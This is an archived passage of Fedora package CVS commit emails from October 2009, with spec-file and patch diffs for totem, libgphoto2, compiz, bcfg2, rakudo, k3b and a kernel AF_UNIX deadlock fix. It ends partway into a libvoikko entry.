Message-ID: <20091026115942.F169711C0268@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/totem/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14282

Modified Files:
	.cvsignore sources totem.spec 
Log Message:
* Mon Oct 26 2009 Bastien Nocera <bnocera at redhat.com> 2.28.2-1
- Update to 2.28.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/totem/F-12/.cvsignore,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- .cvsignore	29 Sep 2009 15:12:29 -0000	1.79
+++ .cvsignore	26 Oct 2009 11:59:42 -0000	1.80
@@ -1 +1 @@
-totem-2.28.1.tar.bz2
+totem-2.28.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/totem/F-12/sources,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- sources	29 Sep 2009 15:12:29 -0000	1.79
+++ sources	26 Oct 2009 11:59:42 -0000	1.80
@@ -1 +1 @@
-42f071fcf8ffc471beb3e1689297d647  totem-2.28.1.tar.bz2
+c9346612a836210059cafe118cea4eaa  totem-2.28.2.tar.bz2


Index: totem.spec
===================================================================
RCS file: /cvs/pkgs/rpms/totem/F-12/totem.spec,v
retrieving revision 1.265
retrieving revision 1.266
diff -u -p -r1.265 -r1.266
--- totem.spec	20 Oct 2009 15:20:48 -0000	1.265
+++ totem.spec	26 Oct 2009 11:59:42 -0000	1.266
@@ -5,8 +5,8 @@
 
 Summary: Movie player for GNOME
 Name: totem
-Version: 2.28.1
-Release: 4%{?dist}
+Version: 2.28.2
+Release: 1%{?dist}
 License: GPLv2+ with exceptions
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/totem/
@@ -381,6 +381,9 @@ fi
 %{_libdir}/totem/plugins/publish
 
 %changelog
+* Mon Oct 26 2009 Bastien Nocera <bnocera at redhat.com> 2.28.2-1
+- Update to 2.28.2
+
 * Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-4
 - Add missing dependency (#529845)
 



From jnovy at fedoraproject.org  Mon Oct 26 12:04:12 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Mon, 26 Oct 2009 12:04:12 +0000 (UTC)
Subject: rpms/libgphoto2/F-12 gphoto2-device-return.patch, NONE,
	1.1 libgphoto2.spec, 1.24, 1.25
Message-ID: <20091026120412.F199011C0268@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/libgphoto2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15249

Modified Files:
	libgphoto2.spec 
Added Files:
	gphoto2-device-return.patch 
Log Message:
* Fri Oct 23 2009 Jindrich Novy <jnovy at redhat.com> 2.4.7-2
- return the dual-mode device to kernel once we don't use it (#530545)


gphoto2-device-return.patch:
 libusb.c |    7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

--- NEW FILE gphoto2-device-return.patch ---
>From 242878ac1cefd1ef99c2e5d84a794f72e49e28be Mon Sep 17 00:00:00 2001
From: Lubomir Rintel <lkundrak at v3.sk>
Date: Fri, 23 Oct 2009 13:12:16 +0200
Subject: [PATCH] Repair reattach of kernel driver if it was unbound

Drah in the header for USBDEVFS_CONNECT.

Signed-off-by: Lubomir Rintel <lkundrak at v3.sk>
---
 libgphoto2_port/usb/libusb.c |    6 ++++++
 1 files changed, 6 insertions(+), 0 deletions(-)

diff --git a/libgphoto2_port/usb/libusb.c b/libgphoto2_port/usb/libusb.c
index d1535a5..c8a63f1 100644
--- a/libgphoto2_port/usb/libusb.c
+++ b/libgphoto2_port/usb/libusb.c
@@ -38,6 +38,12 @@
 #include <gphoto2/gphoto2-port-result.h>
 #include <gphoto2/gphoto2-port-log.h>
 
+#if defined(LIBUSB_HAS_GET_DRIVER_NP) && defined(LIBUSB_HAS_DETACH_KERNEL_DRIVER_NP)
+/* Pull in USBDEVFS_CONNECT */
+#include <sys/ioctl.h>
+#include <linux/usbdevice_fs.h>
+#endif
+
 #ifdef ENABLE_NLS
 #  include <libintl.h>
 #  undef _
-- 
1.6.5.rc2



Index: libgphoto2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgphoto2/F-12/libgphoto2.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- libgphoto2.spec	19 Aug 2009 13:54:40 -0000	1.24
+++ libgphoto2.spec	26 Oct 2009 12:04:12 -0000	1.25
@@ -1,7 +1,7 @@
 Summary: Library for accessing digital cameras
 Name: libgphoto2
 Version: 2.4.7
-Release: 1%{?dist}
+Release: 2%{?dist}
 # GPLV2+ for the main lib (due to exif.c) and most plugins, some plugins GPLv2
 License: GPLv2+ and GPLv2
 Group: Development/Libraries
@@ -11,6 +11,7 @@ Patch1: gphoto2-pkgcfg.patch
 Patch2: gphoto2-storage.patch
 Patch3: gphoto2-ixany.patch
 Patch4: gphoto2-maxentries.patch
+Patch5: gphoto2-device-return.patch
 Url: http://www.gphoto.org/
 Requires: lockdev
 BuildRequires: libusb-devel >= 0.1.5
@@ -54,6 +55,7 @@ use libgphoto2.
 %patch2 -p1 -b .storage
 %patch3 -p1 -b .ixany
 %patch4 -p1 -b .maxentries
+%patch5 -p1 -b .device-return
 
 for i in AUTHORS COPYING libgphoto2_port/AUTHORS libgphoto2_port/COPYING.LIB `find -name 'README.*'`; do
 	mv ${i} ${i}.old
@@ -160,6 +162,9 @@ rm -rf "${RPM_BUILD_ROOT}"
 %{_mandir}/man3/*
 
 %changelog
+* Fri Oct 23 2009 Jindrich Novy <jnovy at redhat.com> 2.4.7-2
+- return the dual-mode device to kernel once we don't use it (#530545)
+
 * Tue Aug 18 2009 Jindrich Novy <jnovy at redhat.com> 2.4.7-1
 - update to 2.4.7
 - drop udev patch, applied upstream



From drago01 at fedoraproject.org  Mon Oct 26 12:08:18 2009
From: drago01 at fedoraproject.org (drago01)
Date: Mon, 26 Oct 2009 12:08:18 +0000 (UTC)
Subject: rpms/compiz/F-12 compiz.spec,1.183,1.184
Message-ID: <20091026120818.C095D11C0268@cvs1.fedora.phx.redhat.com>

Author: drago01

Update of /cvs/pkgs/rpms/compiz/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16721

Modified Files:
	compiz.spec 
Log Message:
Fix bug #530603


Index: compiz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/compiz/F-12/compiz.spec,v
retrieving revision 1.183
retrieving revision 1.184
diff -u -p -r1.183 -r1.184
--- compiz.spec	21 Sep 2009 16:03:20 -0000	1.183
+++ compiz.spec	26 Oct 2009 12:08:18 -0000	1.184
@@ -13,7 +13,7 @@ URL:            http://www.go-compiz.org
 License:        GPLv2+ and LGPLv2+ and MIT
 Group:          User Interface/Desktops
 Version:        0.8.2
-Release:        15%{?dist}
+Release:        16%{?dist}
 
 Summary:        OpenGL window and compositing manager
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -217,6 +217,9 @@ for f in %{gnome_plugins}; do
   echo %{_datadir}/compiz/$f.xml
 done >> gnome-files.txt
 
+# delete useless keybinding files
+# RH #530603
+rm -rf $RPM_BUILD_ROOT%{_datadir}/gnome-control-center/
 
 %post -p /sbin/ldconfig
 
@@ -287,8 +290,6 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/gtk-window-decorator
 %{_libdir}/window-manager-settings/libcompiz.so
 %{_datadir}/gnome/wm-properties/compiz-wm.desktop
-%{_datadir}/gnome-control-center/keybindings/50-compiz-desktop-key.xml
-%{_datadir}/gnome-control-center/keybindings/50-compiz-key.xml
 %{_datadir}/applications/compiz-gtk.desktop
 %exclude %{_datadir}/applications/compiz.desktop
 %{_sysconfdir}/gconf/schemas/*.schemas
@@ -316,6 +317,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Adel Gadllah <adel.gadllah at gmail.com> - 0.8.2-16
+- Don't ship broken keybindings files RH #530603
+
 * Mon Sep 21 2009 Adel Gadllah <adel.gadllah at gmail.com> - 0.8.2-15
 - Revert pageflip patch
 



From jcollie at fedoraproject.org  Mon Oct 26 12:12:55 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Mon, 26 Oct 2009 12:12:55 +0000 (UTC)
Subject: rpms/bcfg2/devel .cvsignore, 1.15, 1.16 bcfg2.spec, 1.27,
	1.28 sources, 1.15, 1.16 bcfg2-0.9.5pre4-tgenshi.patch, 1.1,
	NONE bcfg2-serverinitsubsys.patch, 1.2, NONE
Message-ID: <20091026121255.CA44A11C0268@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/bcfg2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18109

Modified Files:
	.cvsignore bcfg2.spec sources 
Removed Files:
	bcfg2-0.9.5pre4-tgenshi.patch bcfg2-serverinitsubsys.patch 
Log Message:
* Mon Oct 26 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.0.0-0.3.rc1
- Update to 1.0rc1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bcfg2/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	25 Nov 2008 14:36:14 -0000	1.15
+++ .cvsignore	26 Oct 2009 12:12:55 -0000	1.16
@@ -1 +1 @@
-bcfg2-0.9.6.tar.gz
+bcfg2-1.0.0rc1.tar.gz


Index: bcfg2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bcfg2/devel/bcfg2.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- bcfg2.spec	24 Jul 2009 17:54:36 -0000	1.27
+++ bcfg2.spec	26 Oct 2009 12:12:55 -0000	1.28
@@ -1,16 +1,16 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
-#define pre 3
+%define _rc 1
 
 Name:             bcfg2
-Version:          0.9.6
-Release:          4%{?pre:.pre%{pre}}%{?dist}
+Version:          1.0.0
+Release:          0.2%{?_rc:.rc%{_rc}}%{?dist}
 Summary:          Configuration management system
 
 Group:            Applications/System
 License:          BSD
 URL:              http://trac.mcs.anl.gov/projects/bcfg2
-Source0:          ftp://ftp.mcs.anl.gov/pub/bcfg/bcfg2-%{version}%{?pre:pre%{pre}}.tar.gz
+Source0:          ftp://ftp.mcs.anl.gov/pub/bcfg/bcfg2-%{version}%{?_rc:rc%{_rc}}.tar.gz
 
 BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -23,6 +23,8 @@ BuildRequires: python-setuptools
 %endif
 
 Requires:         python-lxml
+Requires:	  python-ssl
+
 Requires(post):   /sbin/chkconfig
 Requires(preun):  /sbin/chkconfig
 Requires(preun):  /sbin/service
@@ -73,7 +75,7 @@ Requires(postun): /sbin/service
 Configuration management server
 
 %prep
-%setup -q -n %{name}-%{version}%{?pre:pre%{pre}}
+%setup -q -n %{name}-%{version}%{?_rc:rc%{_rc}}
 
 # fixup some paths
 %{__perl} -pi -e 's@/etc/default@%{_sysconfdir}/sysconfig at g' debian/buildsys/common/bcfg2.init
@@ -169,11 +171,13 @@ fi
 %{python_sitelib}/Bcfg2/__init__.*
 %{python_sitelib}/Bcfg2/Client
 %{python_sitelib}/Bcfg2/Component.*
-%{python_sitelib}/Bcfg2/Daemon.*
+#%{python_sitelib}/Bcfg2/Daemon.*
 %{python_sitelib}/Bcfg2/Logger.*
 %{python_sitelib}/Bcfg2/Options.*
 %{python_sitelib}/Bcfg2/Proxy.*
-%{python_sitelib}/Bcfg2/tlslite
+%{python_sitelib}/Bcfg2/SSLServer.*
+%{python_sitelib}/Bcfg2/Statistics.*
+#%{python_sitelib}/Bcfg2/tlslite
 
 %{_sbindir}/bcfg2
 %{_mandir}/man1/bcfg2.1*
@@ -199,7 +203,7 @@ fi
 %{_sbindir}/bcfg2-info
 %{_sbindir}/bcfg2-ping-sweep
 %{_sbindir}/bcfg2-repo-validate
-%{_sbindir}/bcfg2-remote
+#%{_sbindir}/bcfg2-remote
 %{_sbindir}/bcfg2-reports
 %{_sbindir}/bcfg2-server
 
@@ -207,12 +211,21 @@ fi
 %{_mandir}/man8/bcfg2-build-reports.8*
 %{_mandir}/man8/bcfg2-info.8*
 %{_mandir}/man8/bcfg2-repo-validate.8*
-%{_mandir}/man8/bcfg2-remote.8*
+#%{_mandir}/man8/bcfg2-remote.8*
 %{_mandir}/man8/bcfg2-server.8*
 
 %dir %{_var}/lib/bcfg2
 
 %changelog
+* Mon Oct 26 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.0.0-0.3.rc1
+- Update to 1.0rc1
+
+* Fri Oct 16 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.0-0.2.pre5
+- Add python-ssl requirement
+
+* Tue Aug 11 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.0-0.1.pre5
+- Update to 1.0pre5
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.6-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bcfg2/devel/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	25 Nov 2008 14:36:14 -0000	1.15
+++ sources	26 Oct 2009 12:12:55 -0000	1.16
@@ -1 +1 @@
-8d15f99bd300c0639f40fbae086d7dcf  bcfg2-0.9.6.tar.gz
+fabe867c024962f347528f0a6c4b6c6d  bcfg2-1.0.0rc1.tar.gz


--- bcfg2-0.9.5pre4-tgenshi.patch DELETED ---


--- bcfg2-serverinitsubsys.patch DELETED ---



From gerd at fedoraproject.org  Mon Oct 26 12:46:24 2009
From: gerd at fedoraproject.org (Gerd Pokorra)
Date: Mon, 26 Oct 2009 12:46:24 +0000 (UTC)
Subject: rpms/rakudo/devel .cvsignore, 1.5, 1.6 import.log, 1.7,
	1.8 rakudo.spec, 1.10, 1.11 sources, 1.8, 1.9
Message-ID: <20091026124624.8EF6D11C0268@cvs1.fedora.phx.redhat.com>

Author: gerd

Update of /cvs/pkgs/rpms/rakudo/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27481/devel

Modified Files:
	.cvsignore import.log rakudo.spec sources 
Log Message:
build rakudo 2009-10 on parrot 1.7.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rakudo/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	17 Sep 2009 15:11:11 -0000	1.5
+++ .cvsignore	26 Oct 2009 12:46:24 -0000	1.6
@@ -1 +1 @@
-rakudo-2009-09.tar.gz
+rakudo-2009-10.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/rakudo/devel/import.log,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- import.log	18 Sep 2009 03:08:32 -0000	1.7
+++ import.log	26 Oct 2009 12:46:24 -0000	1.8
@@ -5,3 +5,4 @@ rakudo-0_0_2009_07_1_4_0-4_fc11:HEAD:rak
 rakudo-0_0_2009_08_1_5_0-1_fc11:HEAD:rakudo-0.0.2009.08_1.5.0-1.fc11.src.rpm:1250903045
 rakudo-0_0_2009_09_1_6_0-1_fc11:HEAD:rakudo-0.0.2009.09_1.6.0-1.fc11.src.rpm:1253200149
 rakudo-0_0_2009_09_1_6_0-2_fc11:HEAD:rakudo-0.0.2009.09_1.6.0-2.fc11.src.rpm:1253243164
+rakudo-0_0_2009_10_1_7_0-1_fc11:HEAD:rakudo-0.0.2009.10_1.7.0-1.fc11.src.rpm:1256560656


Index: rakudo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rakudo/devel/rakudo.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- rakudo.spec	18 Sep 2009 03:08:32 -0000	1.10
+++ rakudo.spec	26 Oct 2009 12:46:24 -0000	1.11
@@ -1,13 +1,13 @@
 %global year 2009
-%global month 09
-%global parrot_version 1.6.0
+%global month 10
+%global parrot_version 1.7.0
 
 %define parrot_dynext %{_libdir}/parrot/%{parrot_version}/dynext
 %define par_lang_perl6 %{_libdir}/parrot/%{parrot_version}/languages/perl6
 
 Name:           rakudo
 Version:        0.0.%{year}.%{month}_%{parrot_version}
-Release:        2%{?dist}
+Release:        1%{?dist}
 Summary:        A Perl compiler on Parrot
 License:        Artistic 2.0
 Group:          Development/Languages
@@ -78,8 +78,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Fri Sep 18 2009 Gerd Pokorra <gp at zimt.uni-siegen.de> 0.0.2009.09_1.6.0-2
-- update to rakudo 2009-09 on parrot 1.6.0
+* Mon Oct 26 2009 Gerd Pokorra <gp at zimt.uni-siegen.de> 0.0.2009.09_1.7.0-1
+- update to rakudo 2009-10 on parrot 1.7.0
 
 * Sun Aug 9 2009 Gerd Pokorra <gp at zimt.uni-siegen.de> 0.0.2009.07_1.4.0-4
 - force executable permission on shared objects so they get stripped


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rakudo/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	18 Sep 2009 03:08:33 -0000	1.8
+++ sources	26 Oct 2009 12:46:24 -0000	1.9
@@ -1 +1 @@
-15938c9632c76636bc49d3d0f6ec8aa2  rakudo-2009-09.tar.gz
+b9f7782d67fd3e8fd3c69709b03a72ce  rakudo-2009-10.tar.gz



From drago01 at fedoraproject.org  Mon Oct 26 12:46:50 2009
From: drago01 at fedoraproject.org (drago01)
Date: Mon, 26 Oct 2009 12:46:50 +0000 (UTC)
Subject: rpms/compiz/F-12 compiz.spec,1.184,1.185
Message-ID: <20091026124650.30F2A11C0268@cvs1.fedora.phx.redhat.com>

Author: drago01

Update of /cvs/pkgs/rpms/compiz/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28239

Modified Files:
	compiz.spec 
Log Message:
revert last change


Index: compiz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/compiz/F-12/compiz.spec,v
retrieving revision 1.184
retrieving revision 1.185
diff -u -p -r1.184 -r1.185
--- compiz.spec	26 Oct 2009 12:08:18 -0000	1.184
+++ compiz.spec	26 Oct 2009 12:46:50 -0000	1.185
@@ -13,7 +13,7 @@ URL:            http://www.go-compiz.org
 License:        GPLv2+ and LGPLv2+ and MIT
 Group:          User Interface/Desktops
 Version:        0.8.2
-Release:        16%{?dist}
+Release:        17%{?dist}
 
 Summary:        OpenGL window and compositing manager
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -217,10 +217,6 @@ for f in %{gnome_plugins}; do
   echo %{_datadir}/compiz/$f.xml
 done >> gnome-files.txt
 
-# delete useless keybinding files
-# RH #530603
-rm -rf $RPM_BUILD_ROOT%{_datadir}/gnome-control-center/
-
 %post -p /sbin/ldconfig
 
 %postun -p /sbin/ldconfig
@@ -290,6 +286,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/gtk-window-decorator
 %{_libdir}/window-manager-settings/libcompiz.so
 %{_datadir}/gnome/wm-properties/compiz-wm.desktop
+%{_datadir}/gnome-control-center/keybindings/50-compiz-desktop-key.xml
+%{_datadir}/gnome-control-center/keybindings/50-compiz-key.xml
 %{_datadir}/applications/compiz-gtk.desktop
 %exclude %{_datadir}/applications/compiz.desktop
 %{_sysconfdir}/gconf/schemas/*.schemas
@@ -317,6 +315,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Adel Gadllah <adel.gadllah at gmail.com> - 0.8.2-17
+- Fix was wrong - revert it
+
 * Mon Oct 26 2009 Adel Gadllah <adel.gadllah at gmail.com> - 0.8.2-16
 - Don't ship broken keybindings files RH #530603
 



From rdieter at fedoraproject.org  Mon Oct 26 12:53:33 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 12:53:33 +0000 (UTC)
Subject: rpms/k3b/devel k3b.spec,1.79,1.80
Message-ID: <20091026125333.9C58911C0268@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/k3b/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29657

Modified Files:
	k3b.spec 
Log Message:
* Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:1.68.0-2
- -common (noarch) subpkg handling
- -libs: add min runtime deps for qt4/kdelibs4



Index: k3b.spec
===================================================================
RCS file: /cvs/pkgs/rpms/k3b/devel/k3b.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- k3b.spec	15 Oct 2009 14:20:13 -0000	1.79
+++ k3b.spec	26 Oct 2009 12:53:33 -0000	1.80
@@ -1,22 +1,27 @@
 
+# include sub pkgs
+%if 0%{?fedora} > 9 || 0%{?rhel} > 5
+# no real need to enable this until we get some translations
+#define common 1
+%endif
+
 %define pre alpha3
 
 Name:    k3b
 Summary: CD/DVD burning application
 Epoch:   1
 Version: 1.68.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 Group:   Applications/Archiving
 License: GPLv2+
 URL:     http://www.k3b.org/
 Source0: http://downloads.sourceforge.net/sourceforge/k3b/k3b-%{version}%{pre}.tar.bz2
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-# TODO: bugzilla/document
+# ie, where cdrecord and friends aren't present
 ExcludeArch: s390 s390x
 
 # FIXME/TODO: review configs/patches from k3b-1.0.x, to see if any are still applicable here
-# FIXME/TODO: sync -common changes from F-12
 
 BuildRequires: cmake
 BuildRequires: desktop-file-utils
@@ -34,7 +39,17 @@ BuildRequires: libvorbis-devel
 #BuildRequires: polkit-qt-devel
 BuildRequires: taglib-devel
 
+%global kde4_version %((kde4-config --version 2>/dev/null || echo "KDE 4.2.0") | grep ^KDE | cut -d' ' -f2)
+# Check if we want this:
+#Requires: kdebase-runtime >= %{_kde4_version}
+
 Requires: %{name}-libs%{?_isa} = %{epoch}:%{version}-%{release}
+%if 0%{?common}
+Requires: %{name}-common = %{epoch}:%{version}-%{release}
+%else
+Obsoletes: %{name}-common < %{epoch}:%{version}-%{release}
+Provides:  %{name}-common = %{epoch}:%{version}-%{release}
+%endif
 
 Requires: cdrecord mkisofs
 Requires(hint): cdrdao
@@ -47,10 +62,20 @@ steps of the burning process the beginne
 automatic settings and the reasonable k3b defaults which allow a quick
 start.
 
+%package common
+Summary:  Common files of %{name}
+Group:    Applications/Archiving
+Requires: %{name} = %{epoch}:%{version}-%{release}
+BuildArch: noarch
+%description common
+{summary}.
+
 %package libs
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
 Requires: %{name} = %{epoch}:%{version}-%{release}
+Requires: kdelibs4%{?_isa} >= %{kde4_version}
+Requires: qt4%{?_isa} >= %{_qt4_version}
 %description libs
 %{summary}.
 
@@ -82,6 +107,9 @@ make %{?_smp_mflags} -C %{_target_platfo
 rm -rf %{buildroot}
 make install/fast DESTDIR=%{buildroot} -C %{_target_platform}
 
+%find_lang k3b --with-kde || touch k3b.lang
+cat k3b*.lang > all.lang
+
 
 %check
 desktop-file-validate %{buildroot}%{_kde4_datadir}/applications/kde4/k3b.desktop
@@ -95,25 +123,29 @@ rm -rf %{buildroot}
 
 %postun libs -p /sbin/ldconfig
 
-%post
-touch --no-create %{_kde4_iconsdir}/hicolor ||:
-
-%posttrans
-gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null || :
-update-desktop-database -q &> /dev/null ||:
+touch --no-create %{_datadir}/icons/hicolor ||:
 
-%postun
+%postun %{?common:common}
 if [ $1 -eq 0 ] ; then
-touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null || :
-gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null || :
-update-desktop-database -q &> /dev/null ||:
+touch --no-create %{_datadir}/icons/hicolor &> /dev/null
+gtk-update-icon-cache %{_datadir}/icons/hicolor &> /dev/null || :
+update-desktop-database -q &> /dev/null
 fi
 
+%posttrans %{?common:common}
+gtk-update-icon-cache %{_datadir}/icons/hicolor &> /dev/null || :
+update-desktop-database -q &> /dev/null
 
-%files 
+
+%files %{?!common:-f all.lang}
 %defattr(-,root,root,-)
 %doc AUTHORS README COPYING TODO ChangeLog
 %{_kde4_bindir}/k3b
+%{_kde4_libdir}/kde4/*.so
+
+%if 0%{?common}
+%files common -f all.lang
+%endif
 %{_kde4_appsdir}/k3b/
 %{_kde4_appsdir}/konqsidebartng/virtual_folders/services/*.desktop
 %{_kde4_appsdir}/solid/actions/*.desktop
@@ -124,7 +156,6 @@ fi
 %{_kde4_datadir}/kde4/servicetypes/k3b*.desktop
 %{_kde4_datadir}/sounds/k3b_*
 %{_kde4_iconsdir}/hicolor/*/*/*
-%{_kde4_libdir}/kde4/*.so
 
 %files libs
 %defattr(-,root,root,-)
@@ -137,6 +168,10 @@ fi
 
 
 %changelog
+* Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:1.68.0-2
+- -common (noarch) subpkg handling
+- -libs: add min runtime deps for qt4/kdelibs4
+
 * Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:1.68.0-1
 - k3b-1.68.0 (alpha3)
 



From cebbert at fedoraproject.org  Mon Oct 26 12:57:37 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Mon, 26 Oct 2009 12:57:37 +0000 (UTC)
Subject: rpms/kernel/F-10
	af_unix-fix-deadlock-connecting-to-shutdown-socket.patch,
	1.1.2.1, 1.1.2.2
Message-ID: <20091026125737.77B3C11C0268@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30474

Modified Files:
      Tag: private-fedora-10-2_6_27
	af_unix-fix-deadlock-connecting-to-shutdown-socket.patch 
Log Message:
official upstream patch

af_unix-fix-deadlock-connecting-to-shutdown-socket.patch:
 af_unix.c |    2 ++
 1 file changed, 2 insertions(+)

Index: af_unix-fix-deadlock-connecting-to-shutdown-socket.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/Attic/af_unix-fix-deadlock-connecting-to-shutdown-socket.patch,v
retrieving revision 1.1.2.1
retrieving revision 1.1.2.2
diff -u -p -r1.1.2.1 -r1.1.2.2
--- af_unix-fix-deadlock-connecting-to-shutdown-socket.patch	19 Oct 2009 16:19:04 -0000	1.1.2.1
+++ af_unix-fix-deadlock-connecting-to-shutdown-socket.patch	26 Oct 2009 12:57:37 -0000	1.1.2.2
@@ -1,10 +1,10 @@
-From linux-kernel-owner+kyle=40mcmartin.ca-S1753471AbZJSGXV at vger.kernel.org Mon Oct 19 02:23:31 2009
-Message-ID: <4ADC010C.5070809 at hitachi.com>
-Date:	Mon, 19 Oct 2009 15:02:52 +0900
-From:	Tomoki Sekiyama <tomoki.sekiyama.qu at hitachi.com>
-Subject: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket
+From: Tomoki Sekiyama <tomoki.sekiyama.qu at hitachi.com>
+Date: Mon, 19 Oct 2009 06:17:37 +0000 (-0700)
+Subject: AF_UNIX: Fix deadlock on connecting to shutdown socket
+X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=77238f2b942b38ab4e7f3aced44084493e4a8675
+
+AF_UNIX: Fix deadlock on connecting to shutdown socket
 
-Hi,
 I found a deadlock bug in UNIX domain socket, which makes able to DoS
 attack against the local machine by non-root users.
 
@@ -67,9 +67,8 @@ Patch:
 
 Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu at hitachi.com>
 Signed-off-by: Masanori Yoshida <masanori.yoshida.tv at hitachi.com>
+Signed-off-by: David S. Miller <davem at davemloft.net>
 ---
- net/unix/af_unix.c |    2 ++
- 1 files changed, 2 insertions(+), 0 deletions(-)
 
 diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
 index 51ab497..fc820cd 100644
@@ -81,18 +80,6 @@ index 51ab497..fc820cd 100644
  		goto out_unlock;
 +	if (other->sk_shutdown & RCV_SHUTDOWN)
 +		goto out_unlock;
-
+ 
  	if (unix_recvq_full(other)) {
  		err = -EAGAIN;
--- 
-Tomoki Sekiyama
-Linux Technology Center
-Hitachi, Ltd., Systems Development Laboratory
-E-mail: tomoki.sekiyama.qu at hitachi.com
-
---
-To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
-the body of a message to majordomo at vger.kernel.org
-More majordomo info at  http://vger.kernel.org/majordomo-info.html
-Please read the FAQ at  http://www.tux.org/lkml/
-



From vpv at fedoraproject.org  Mon Oct 26 13:06:18 2009
From: vpv at fedoraproject.org (Ville-Pekka Vainio)
Date: Mon, 26 Oct 2009 13:06:18 +0000 (UTC)
Subject: rpms/libvoikko/F-12 libvoikko.spec,1.30,1.31
Message-ID: <20091026130618.DF63211C0268@cvs1.fedora.phx.redhat.com>

Author: vpv

Update of /cvs/pkgs/rpms/libvoikko/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32112

Modified Files:
	libvoikko.spec 
Log Message:
* Mon Oct 26 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-2
- Add Python interface (package python-libvoikko, noarch)



Index: libvoikko.spec
